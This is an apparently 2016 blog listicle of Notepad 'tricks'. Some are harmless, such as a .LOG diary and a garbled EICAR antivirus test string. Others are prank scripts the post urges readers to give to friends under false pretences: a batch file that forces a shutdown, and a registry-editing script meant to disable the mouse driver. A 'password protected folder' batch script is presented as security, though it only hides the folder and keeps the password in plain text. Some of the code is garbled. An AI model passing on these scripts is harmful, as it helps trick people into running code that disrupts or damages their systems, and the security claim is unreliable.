Useful hidden Notepad tricks [2016] [Updated]

Useful hidden Notepad tricks [2016] [Updated]

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Notepad is a free text editor provided by Microsoft with every version of Windows OS. It’s also the first thing I learnt in the computer. As a 7-year-old kid, it was so much fun to just click a button to write the letter I wanted. Seeing all those beautiful letters in the same size and font coming up was an amusement for me ( mostly because I had a very bad handwriting)

As I grew I learned many more things I can do with Notepad. It’s amazing to see how many different things you can do using probably the simplest text editor. So today we have brought you a list of tricks you never knew you can do with Notepad –

Best hidden tricks and tips of Notepad

  1. Force Windows to Shut down

    If you are that person of the group who likes to pull pranks on everyone then this one’s for you. –

    1. Open Notepad.
    2. Paste “@echo off” in the first line.
    3. Paste “msg * Shutdown computer” in the second line.
    4. Paste “shutdown -c “Sleep Tight” -s” in the third line
    5. @echo off msg * Shutdown computer shutdown -c “Sleep Tight” -s
    6. Save the file with as anything.BAT
      Now whenever someone opens the file it will force the computer to shutdown. Now give this file to your friend and tell them that it’s a secret file which you have to keep safe and tell your friends not to open it. Then? Have fun.
  2. Check Your Anti virus

    Whenever I scan anything using my Anti virus, I always wonder if it really works or I just pay it for nothing. Thankfully I found a great method created by European Institute for Computer Antivirus Research (EICAR) to test my Anti virus. You can also try it with your Virus scanner. Just follow the steps below –

    1. Open Notepad
    2. Copy this code:
    3. [email protected][4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
    4. Save the file as testantivirus.com
      Now Scan this file with your anti-virus and if it’s working properly then it will declare the file a virus.
  3. Disable the Mouse

    Another one for our fun loving friends. This time, the code will disable the mouse when someone will try to open the file by double-clicking on it. Just follow the below introductions to try this trick-

    1. Open Notepad
    2. Paste the following code in it-
    3. rem Disable Mouseset key=”HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesMouclass”reg delete %key%reg add %key% /v Start /t REG_DWORD /d 4
    4. Now save the file as anything.vbs
      Now your file is ready. Distribute it among your friends and have fun.
  4. Create a Diary

    Many people consider it a burden to maintain a daily diary (I am one of those), after all sitting everyday at night and writing down what happened with you is not a fun thing to do when you can just go to sleep.

    But what if you can create a Diary on your computer using notepad? It will make it so much easier to handle it. All you have to do is follow these simple steps-

    1. Open Notepad
    2. Type.LOG in the first line.
    3. Type.LOG
    4. Save the file as Log.txt
    5. Now, write something to the file and it will automatically get saved with edited date and time.
  5. Create Password Protected Folder

    We all have different type of files which we want to keep safe. It can be your work file which you don’t want your children to mess with or it can be your funny trip photos you don’t wanna show to others. We normally use some password protection software to keep this files safe but what if you can use the notepad for it? Just follow following instructions-

    1. Open notepad
    2. Paste the following code in it-
    3. @ECHO OFF title Folder Private if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK
      if NOT EXIST Private goto MDLOCKER:CONFIRM
      
      echo Are you sure you want to lock the folder(Y/N)set/p “cho=>”if %cho%==Y goto LOCKif %cho%==y goto LOCKif %cho%==n goto END
      
      if %cho%==N goto END
      
      echo Invalid choice.goto CONFIRM:LOCK
      
      ren Private “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”attrib +h +s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
      
      echo Folder locked
      
      goto End:UNLOCK
      
      echo Enter password to unlock folderset/p “pass=>”if NOT %pass%== Yourpass goto FAIL
      
      attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Private
      
      echo Folder Unlocked successfully
      
      goto End:FAIL
      
      echo Invalid password
      
      goto end:MDLOCKER
      
      md Private
      
      echo Private created successfully
      
      goto End:End
    4. Replace “Yourpass” with your password.
    5. Now save the file as Private.bat

      Now every time you open this file, it will create a private folder which can only be opened with your password. So you can put all your important files in it for safe keeping.

After Talk

How’s been your experience with all these cool hidden notepad tricks? Do you any more interesting tricks we missed? Do tell us in the comments field.

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